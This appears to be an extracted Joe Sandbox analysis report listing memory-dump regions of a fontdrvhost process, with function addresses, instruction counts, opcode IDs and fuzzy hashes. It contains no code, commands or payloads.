Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc2c23abf3eed98917dabeea11cc4d1aa0c088a486b7f139f33a271bb4fec55
Instruction ID: 8e884aae87f3e57d87d40cc0d544ed2e789f76a544aeb5cba3c4d9ecfcc3605d
Opcode Fuzzy Hash: 1bc2c23abf3eed98917dabeea11cc4d1aa0c088a486b7f139f33a271bb4fec55
Instruction Fuzzy Hash: 9E81E571F19A1D4FEBA8EB58C865BE8B7B1EF58710F0002B9D01DD71A5DE346A458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3805 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b15920a56c55eb578bdfda44fe93b35f3f647465952e220afd0a97744e93473a
Instruction ID: 7af9394732f4561c6da758133a031fe4fd5c1fc6ece69bce9d8d7a09b4a3b9cb
Opcode Fuzzy Hash: b15920a56c55eb578bdfda44fe93b35f3f647465952e220afd0a97744e93473a
Instruction Fuzzy Hash: 9691BA70E1962D9EEBA4EB98D8657ADB7B1FF58300F1141BAD00DE3291DF346A84CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891DC2 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction ID: 4a2ee155117869e13209870b709248147d36ea49848b6b0944f529b62c9c55d8
Opcode Fuzzy Hash: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction Fuzzy Hash: 4F61CE31B1CA498BDF58EF5C98A15A977E2FFDC344B14456EE49EC3296DE30AD028780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8931C5 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 980581dad630c0388090d3dbe1d7cb29c8c9c23fb9ef9774391b68dc9699358a
Instruction ID: 6d34a8292c8ea2fcecd55f77ef56668464bf4de563380b5c5e4ed99ff4f6bab5
Opcode Fuzzy Hash: 980581dad630c0388090d3dbe1d7cb29c8c9c23fb9ef9774391b68dc9699358a
Instruction Fuzzy Hash: C0512A70E1A61E8FEF68DBD4D4646EDBBB1FF58301F51017AD009E72A5DA386A41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1BF5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction ID: acbfc2d92c16d715442796dfb05ef0441c0a77d0b5a6fdff83e20b2a4f0d1825
Opcode Fuzzy Hash: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction Fuzzy Hash: 6451CC74E0961D8FEB94EFA8C855BACB7B1FF59300F1040A9D04DD7296DE34A982CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892135 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f51a849070885e5ea79d06ce4d736d06a1a0ff3d99b58bc35cb1cd21625b151b
Instruction ID: 6c99a0f4b5ef4e5919168fd7b590c15e8aa2e7e9dd0cbee58e1827c0f654b3f8
Opcode Fuzzy Hash: f51a849070885e5ea79d06ce4d736d06a1a0ff3d99b58bc35cb1cd21625b151b
Instruction Fuzzy Hash: 4D415C31B0E64A4FDB6ADBB898651B87BE0EF8A300B0541FBD00CC71B7DE28B9418341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4A0 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b40b98a240e7bb3d4e8a26cb276744b59fe8e17af12812cd7c4daca2b98b75
Instruction ID: a9f9e1abea328537cda6badb3b0643000fb2bf4273ca6cd39f32fece440f8517
Opcode Fuzzy Hash: c0b40b98a240e7bb3d4e8a26cb276744b59fe8e17af12812cd7c4daca2b98b75
Instruction Fuzzy Hash: CF411972B0952E8BEB69BBACE4694FC7B90FF48334F010177D01DC60E2DE25B5458A90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A236D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713816b83152bda2e7a0210373c149b7b4452ca881fd8e1e9c21ef3ff15c8961
Instruction ID: d929187f5f0a3793ebc87465d667b63d2e43e50e69ac0547a10084ef567b2677
Opcode Fuzzy Hash: 713816b83152bda2e7a0210373c149b7b4452ca881fd8e1e9c21ef3ff15c8961
Instruction Fuzzy Hash: E9411B70E1965D8FDB58EFE8D865AEDB7B1FF58300F01017AE019E32A6DE3469418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891150 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction ID: d386b0637cb2c1af9f6f503f457106e0603bc402b508b0a9f6657b50737b6c83
Opcode Fuzzy Hash: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction Fuzzy Hash: C731BD30A1EA5E6EEFA9FBA4C8686B97BE0FF19304F01047ED01ED21E5DE2466408740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A36D3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b25422456e5c8d718dfb59d09b94e73308749c828e5f5c50d481e9ae8a3c6f
Instruction ID: 0868cc859e5c26a18e9ce1305be703821b2da8b0610a35900c3e4fcd79f7ee07
Opcode Fuzzy Hash: d0b25422456e5c8d718dfb59d09b94e73308749c828e5f5c50d481e9ae8a3c6f
Instruction Fuzzy Hash: 81318C62B0E69D9AE716B7AC6C390F57BA0EF05335B0406F7E11CCA0D3EC2451058361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4FB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b04205798f01550d20a1b31c2c9b56d32c032636ddfdd3d48b6accfeb71321
Instruction ID: 4545829d4ba64a68165feeebc4aa988007754cfb46a68ecb322ee925f3dc17e1
Opcode Fuzzy Hash: f9b04205798f01550d20a1b31c2c9b56d32c032636ddfdd3d48b6accfeb71321
Instruction Fuzzy Hash: A0313A72B0D92B8AEB69BBACB8290FC7B50FF49334F050177D01D850E3DE6562429A90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89BE4D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 999bb717c68760a3f1d8b47cc57afe9adeb99151650871ff4fc921f7255552cc
Instruction ID: 1faec4523695875dd06fb80f305da8722e571453d6213fb04adfc436d5c7b516
Opcode Fuzzy Hash: 999bb717c68760a3f1d8b47cc57afe9adeb99151650871ff4fc921f7255552cc
Instruction Fuzzy Hash: 7231CA75E1991D9FEFA4EBA888A56BCBBB5FF9C300F515039D00DE3292DE3469418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8933B8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a1bae0e91e7c0629168bfa29ef7297dfc97aa79c3082fefbdaf59b4495a9fd
Instruction ID: f0f942632a4e15b5af2909d9a10e76d212dd604bcd6e5f393c3c12b8bfa46920
Opcode Fuzzy Hash: f3a1bae0e91e7c0629168bfa29ef7297dfc97aa79c3082fefbdaf59b4495a9fd
Instruction Fuzzy Hash: 7D319E3094E68E8FDB52EFB488685A97FF0FF5A310F0605EAD448CB0A2DA389555C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7335 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b103f83e0da10d092df2e4f8f0ea0c69a24577325bd2fc1a157cc07754d944d9
Instruction ID: 222e0d7a1c024170e1baacf60bf6d3442dae8c286d7fc43028fb7a7cad031193
Opcode Fuzzy Hash: b103f83e0da10d092df2e4f8f0ea0c69a24577325bd2fc1a157cc07754d944d9
Instruction Fuzzy Hash: 5331E138B0E60E8BEB75ABA0C4252FD37E0FF48310F56057AD80AD61E5DE38A6459750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6AE5 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99690597c3a999aad1afef06feda4a3b36c6bdeb9844a11cc69072e00dcc98fe
Instruction ID: 47b751f8a1fa4b4da1a8a527f60f693577d8e7d02b734eb0ca77b4c9065e7604
Opcode Fuzzy Hash: 99690597c3a999aad1afef06feda4a3b36c6bdeb9844a11cc69072e00dcc98fe
Instruction Fuzzy Hash: 72318070A0AA0E8FEBA8DFA8C4652BD36A0FF18305F01457AD41DC21E9DE34A651C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6C1D Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b741f29670c55568fd4bf2845867fc79abdaad1060218f506df6139d97144a
Instruction ID: 7bcfad527b3c9c67614857c0a8084e5fc44defe97dc330ec1b1df6658f5020da
Opcode Fuzzy Hash: 83b741f29670c55568fd4bf2845867fc79abdaad1060218f506df6139d97144a
Instruction Fuzzy Hash: 2521F371A0E64E4BEB699FA888751B93BA0FF19300F0200BED41DC71EADE396616C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7141 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93bb6734334528980d21b95d55db79971ec857fe910667de960995b995889f0
Instruction ID: ded78f3582dffc84a93c0f50126f500a863c311a6778d8b10581fb7372096d77
Opcode Fuzzy Hash: e93bb6734334528980d21b95d55db79971ec857fe910667de960995b995889f0
Instruction Fuzzy Hash: 4D216A34E0A54E9FEB61EFA888686BE7BE4FF19301F0104B6D418D30A1DA38A2409760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4A8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1449aa33796a6e1479b7cfc31a0a421fd8d24ba045076c072e8880ed25f3c000
Instruction ID: b8e5483614946bde4610e84a74fe669ec5fda615edc95a59c734d59e18460e91
Opcode Fuzzy Hash: 1449aa33796a6e1479b7cfc31a0a421fd8d24ba045076c072e8880ed25f3c000
Instruction Fuzzy Hash: 8C210A71E0D55F8BEB65BBACA8295FC3B90FF04324F050277D41CC60E2DE25A6458A50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7991 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc3ec970c26ef4e2dd0c521b53b5cba99c12ebc39e3eb7ef7e7ab8078fa93895
Instruction ID: 81639852a250368aa23dd1de7df46a47b064c4c7491b8ce64e50f433280ac8ee
Opcode Fuzzy Hash: dc3ec970c26ef4e2dd0c521b53b5cba99c12ebc39e3eb7ef7e7ab8078fa93895
Instruction Fuzzy Hash: 8221D134A0A14E8FEB64DF64C8A55FD37A0FF19304F0504BBD41DC30A6DE39A6508750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b632b350aec86320a664a05e2c42329c50ac8e91e326428d85583c70bb9f98d5
Instruction ID: b6aa591c14b8df8acda14ec3ee12070439c3c983d5fe709bfc85f6d54bb062c7
Opcode Fuzzy Hash: b632b350aec86320a664a05e2c42329c50ac8e91e326428d85583c70bb9f98d5
Instruction Fuzzy Hash: A311C431F2A50E4FEB94EBA8C8595BD7BE1FF58740F4145B6D41CC70A6EE34A6408780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A2E49 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b690f3c1081a2a9f2610017159b1a503f26d6cc757d12835999355ffaf9eabb
Instruction ID: 77aa3b318a6989bf28f98e0a1929efa888c68de7cc77509acff81a9ecc5f262f
Opcode Fuzzy Hash: 7b690f3c1081a2a9f2610017159b1a503f26d6cc757d12835999355ffaf9eabb
Instruction Fuzzy Hash: 8021E73090E68A4FE762EBB488695E97FF0FF1A310F0505FAD448C7063DA289694C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6A41 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032f25cdbcf9b3eada3c378cb98ac97466b4f11f12aaeb50b15c140f05b7eaae
Instruction ID: ef77ca2e2fafa95ba6626a6e43025a35e4f2ceda34cce0594ed7457e0ce4fde2
Opcode Fuzzy Hash: 032f25cdbcf9b3eada3c378cb98ac97466b4f11f12aaeb50b15c140f05b7eaae
Instruction Fuzzy Hash: 9611B470A09A4E8FDBA8DF6884692BD7BE0FF28305F1145BED41DC31A6DE356644C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4319 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ac3cbc5d6df6fc67df5efaf6a5760f269145ef4d40e1390f8fac811180b596
Instruction ID: 2e8b8bd9c6dcadaa9f3469f9463fc02ca6a235f811850ceb743b7954d568c10d
Opcode Fuzzy Hash: 35ac3cbc5d6df6fc67df5efaf6a5760f269145ef4d40e1390f8fac811180b596
Instruction Fuzzy Hash: 3521DE30A0E64E8FDF99EF6884656B97BB0FF28301F0501BED418C21A2CA34A540C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A20E1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5816ee862a2fb43980232f3eccb395156fcae1b4aff685481e529812f6c9b02
Instruction ID: 6c184eec74bd36ff794ec608cfe0ebfb49fd31b7d4e1fc92838e6e4b4dc5ebe8
Opcode Fuzzy Hash: d5816ee862a2fb43980232f3eccb395156fcae1b4aff685481e529812f6c9b02
Instruction Fuzzy Hash: 5B117C70A0928D8FDB59DF64C8A55E93FA1FF59314F02027EE84DC31A1DA34A650CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6B85 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c02c519cef1cd46e5fa3a7fee6dda7c03de7bf39f72c23ee7d9e6d5d395fff
Instruction ID: 223933048d42e6fe090130127dfb436bcf876ecede3b48f06a10052cf03f4cba
Opcode Fuzzy Hash: 18c02c519cef1cd46e5fa3a7fee6dda7c03de7bf39f72c23ee7d9e6d5d395fff
Instruction Fuzzy Hash: BE11D0B1A0EA4D8BEB699BA488B61A83AA0FF18300F0600BED459C61F6DE25A545C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A43B5 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f92c18ccfb5dbef30361b3c045472d0ebd6d3f5b0eb90b66627b0c723a5d00
Instruction ID: 8b13fb8884a6bf7fa79791c81ee1ac574c920cb3dbf114d893fd6d3f77574f6d
Opcode Fuzzy Hash: 01f92c18ccfb5dbef30361b3c045472d0ebd6d3f5b0eb90b66627b0c723a5d00
Instruction Fuzzy Hash: A311A230A0AA4E8FDB98EF6884692B97BE0FF58301F0505BED41DC71A6DA35A540C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4CE9 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec19e94c0347c3711fc955d926e6cd24a664015e311e33c0e097cd48f7b147e
Instruction ID: 7955387e0c0d8aec53b8e04de22ae63bcab5ae0b07532bec4f2867fe3c5e2bce
Opcode Fuzzy Hash: bec19e94c0347c3711fc955d926e6cd24a664015e311e33c0e097cd48f7b147e
Instruction Fuzzy Hash: 65118E30A0A68E8FEF59EB6488696B97BF0FF19300F0505BFD41DC61A2DE7865448752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A48D5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 359d581d7a42979d7042bb664795754842dd85026d9506dc5e55fb16471c6c71
Instruction ID: c402dd6f601557b5b854f0583f3474e3cd39448116c12f0a259980d6c7d031d6
Opcode Fuzzy Hash: 359d581d7a42979d7042bb664795754842dd85026d9506dc5e55fb16471c6c71
Instruction Fuzzy Hash: 4C110831A0EA8D4BEB59DB6488F62B87AA0EF19304F0A00BED01DC25F2DA256554C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A50B4 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb3899af7fb6e7ec6c30ae326f03cbd8d95c271e7fff6ed2be06e14ece49e2f
Instruction ID: 144673b3f5b6950660089bc750b85c99d0ab22714b3ae2f4ebc8d13531674213
Opcode Fuzzy Hash: 1bb3899af7fb6e7ec6c30ae326f03cbd8d95c271e7fff6ed2be06e14ece49e2f
Instruction Fuzzy Hash: 5B118231E0991D8FEB64EB98C8657ECBBB1FF58310F5141B5C00DE71A2DE3869818B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A24C1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c42f53e1f26fcfb02bc39c3a36941416825d26a71dd6067026583cf2774f6dd
Instruction ID: 97d2b851b1e9a8b08b5c2220aa5bdffe06a0949433f4627c2243e8569052a416
Opcode Fuzzy Hash: 8c42f53e1f26fcfb02bc39c3a36941416825d26a71dd6067026583cf2774f6dd
Instruction Fuzzy Hash: 3711A170A0E55E9FEBA2EFB888685F97BE0FF1D310F0545B6D418C70A6DA34A2848751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89BCC1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87723f0fd38a1ec7affda906fdd567f3f453d5f61b260050db29f1277ecf72e9
Instruction ID: cf75342d08fabc554b97ab40f40f1b24a6c18e2ce7a78143e9cdd70c7bac2e66
Opcode Fuzzy Hash: 87723f0fd38a1ec7affda906fdd567f3f453d5f61b260050db29f1277ecf72e9
Instruction Fuzzy Hash: A2115E30A0A64E8FEF54EFA4C4696BD7BE0FF19305F5105BAD419C21A5DA35A650C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89AB98 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed59331eb06efd67065d2778a2aa401b8d1ac4d27f5498fb8f9032567066963
Instruction ID: d035bd5150daada29fe42ad86646f37807e18f8e59d29598c69211146d8eeb98
Opcode Fuzzy Hash: 0ed59331eb06efd67065d2778a2aa401b8d1ac4d27f5498fb8f9032567066963
Instruction Fuzzy Hash: C111A035A1990E9EEB60FBB8C8585FD7BE1FF48300F4549B6D01CC31A6EE34A6408740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8934E5 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56fe3139dbd02288bacdcfe6ad180e5c71b14d7077c5e782cd8becb6c1648c42
Instruction ID: b276798043766fb59b9d286b4ab13faffd59972f22a9307eec9acd6e3809a2ef
Opcode Fuzzy Hash: 56fe3139dbd02288bacdcfe6ad180e5c71b14d7077c5e782cd8becb6c1648c42
Instruction Fuzzy Hash: F8113C70A0A68E8FDB59EFA4C8696BE7BE0FF18300F0505BED419D61A2DA35A6408700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A49FD Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

